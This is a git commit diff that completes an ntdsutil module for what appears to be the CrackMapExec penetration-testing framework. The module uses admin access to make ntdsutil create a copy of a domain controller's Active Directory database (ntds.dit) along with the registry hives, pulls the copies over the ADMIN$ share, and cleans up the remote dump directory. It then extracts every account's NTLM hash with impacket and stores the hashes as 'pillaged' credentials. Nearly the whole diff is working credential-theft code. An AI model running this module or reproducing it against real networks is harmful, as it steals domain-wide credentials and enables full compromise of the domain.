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finish ntdsutil.py module

main
famos0 2023-03-22 12:40:04 +01:00 committed by Marshall Hallenbeck
parent 0697883190
commit a23ed29247
1 changed files with 77 additions and 15 deletions
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92
cme/modules/ntdsutil.py
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@ -1,6 +1,13 @@
import os
import shutil
import tempfile
import time
from impacket.examples.secretsdump import LocalOperations, NTDSHashes
from cme.helpers.logger import highlight
from cme.helpers.misc import validate_ntlm
class CMEModule:
'''
Dump NTDS with ntdsutil
@ -18,19 +25,18 @@ class CMEModule:
Dump NTDS with ntdsutil
Module by @zblurx
DIR_RESULT Local dir to write ntds dump
DIR_RESULT Local dir to write ntds dump. If specified, the local dump will not be deleted after parsing
'''
self.share = "ADMIN$"
self.tmp_dir = "C:\\Windows\\Temp\\"
self.tmp_share = self.tmp_dir.split("C:\\Windows\\")[1]
self.dump_location = str(time.time())[:9]
self.dir_result = 'ntdsutil'
self.dir_result = self.dir_result = tempfile.mkdtemp()
self.no_delete = False
if 'DIR_RESULT' in module_options:
self.dir_result = module_options['DIR_RESULT']
pass
self.dir_result = os.path.abspath(module_options['DIR_RESULT'])
self.no_delete = True
def on_admin_login(self, context, connection):
command = "powershell \"ntdsutil.exe 'ac i ntds' 'ifm' 'create full %s%s' q q\"" % (self.tmp_dir, self.dump_location)
@ -44,10 +50,9 @@ class CMEModule:
context.log.error("Error while dumping NTDS")
return
if not os.path.isdir(self.dir_result):
os.makedirs(self.dir_result, exist_ok=True)
os.makedirs(os.path.join(self.dir_result, 'Active Directory'), exist_ok=True)
os.makedirs(os.path.join(self.dir_result, 'registry'), exist_ok=True)
os.makedirs(self.dir_result, exist_ok=True)
os.makedirs(os.path.join(self.dir_result, 'Active Directory'), exist_ok=True)
os.makedirs(os.path.join(self.dir_result, 'registry'), exist_ok=True)
context.log.info("Copying NTDS dump to %s" % self.dir_result)
context.log.debug('Copy ntds.dit to host')
@ -73,13 +78,70 @@ class CMEModule:
context.log.debug('Copied SECURITY file')
except Exception as e:
context.log.error('Error while get SECURITY file: {}'.format(e))
context.log.success("NTDS dump copied to %s" % self.dir_result)
context.log.info("NTDS dump copied to %s" % self.dir_result)
try:
command = "rmdir /s /q %s%s" % (self.tmp_dir, self.dump_location)
p = connection.execute(command, True)
context.log.success('Deleted %s%s dump directory' % (self.tmp_dir, self.dump_location))
context.log.success('Deleted %s%s remote dump directory' % (self.tmp_dir, self.dump_location))
except Exception as e:
context.log.error('Error deleting {} directory on share {}: {}'.format(self.dump_location, self.share, e))
context.log.error('Error deleting {} remote directory on share {}: {}'.format(self.dump_location, self.share, e))
context.log.highlight("""Now:
secretsdump.py -system %s/registry/SYSTEM -security %s/registry/SECURITY -ntds "%s/Active Directory/ntds.dit" LOCAL"""% (self.dir_result, self.dir_result, self.dir_result))
localOperations = LocalOperations("%s/registry/SYSTEM" % self.dir_result)
bootKey = localOperations.getBootKey()
noLMHash = localOperations.checkNoLMHashPolicy()
host_id = context.db.get_computers(filterTerm=connection.host)[0][0]
def add_ntds_hash(ntds_hash, host_id):
add_ntds_hash.ntds_hashes += 1
if context.enabled:
if "Enabled" in ntds_hash:
ntds_hash = ntds_hash.split(" ")[0]
context.log.highlight(ntds_hash)
else:
ntds_hash = ntds_hash.split(" ")[0]
context.log.highlight(ntds_hash)
if ntds_hash.find('$') == -1:
if ntds_hash.find('\\') != -1:
domain, hash = ntds_hash.split('\\')
else:
domain = connection.domain
hash = ntds_hash
try:
username,_,lmhash,nthash,_,_,_ = hash.split(':')
parsed_hash = ':'.join((lmhash, nthash))
if validate_ntlm(parsed_hash):
context.db.add_credential('hash', domain, username, parsed_hash, pillaged_from=host_id)
add_ntds_hash.added_to_db += 1
return
raise
except:
context.log.debug("Dumped hash is not NTLM, not adding to db for now ;)")
else:
context.log.debug("Dumped hash is a computer account, not adding to db")
add_ntds_hash.ntds_hashes = 0
add_ntds_hash.added_to_db = 0
NTDS = NTDSHashes("%s/Active Directory/ntds.dit" % self.dir_result, bootKey, isRemote=False, history=False, noLMHash=noLMHash,
remoteOps=None, useVSSMethod=True, justNTLM=True,
pwdLastSet=False, resumeSession=None, outputFileName=connection.output_filename,
justUser=None, printUserStatus=True,
perSecretCallback = lambda secretType, secret : add_ntds_hash(secret, host_id))
try:
context.log.success('Dumping the NTDS, this could take a while so go grab a redbull...')
NTDS.dump()
context.log.success('Dumped {} NTDS hashes to {} of which {} were added to the database'.format(highlight(add_ntds_hash.ntds_hashes), connection.output_filename + '.ntds', highlight(add_ntds_hash.added_to_db)))
context.log.info("To extract only enabled accounts from the output file, run the following command: ")
context.log.info("grep -iv disabled {} | cut -d ':' -f1".format(connection.output_filename + '.ntds'))
except Exception as e:
context.log.error(e)
NTDS.finish()
if self.no_delete:
context.log.info('Raw NTDS dump copied to %s, parse it with:' % self.dir_result)
context.log.info("secretsdump.py -system %s/registry/SYSTEM -security %s/registry/SECURITY -ntds \"%s/Active Directory/ntds.dit\" LOCAL" % (self.dir_result, self.dir_result, self.dir_result))
else:
shutil.rmtree(self.dir_result)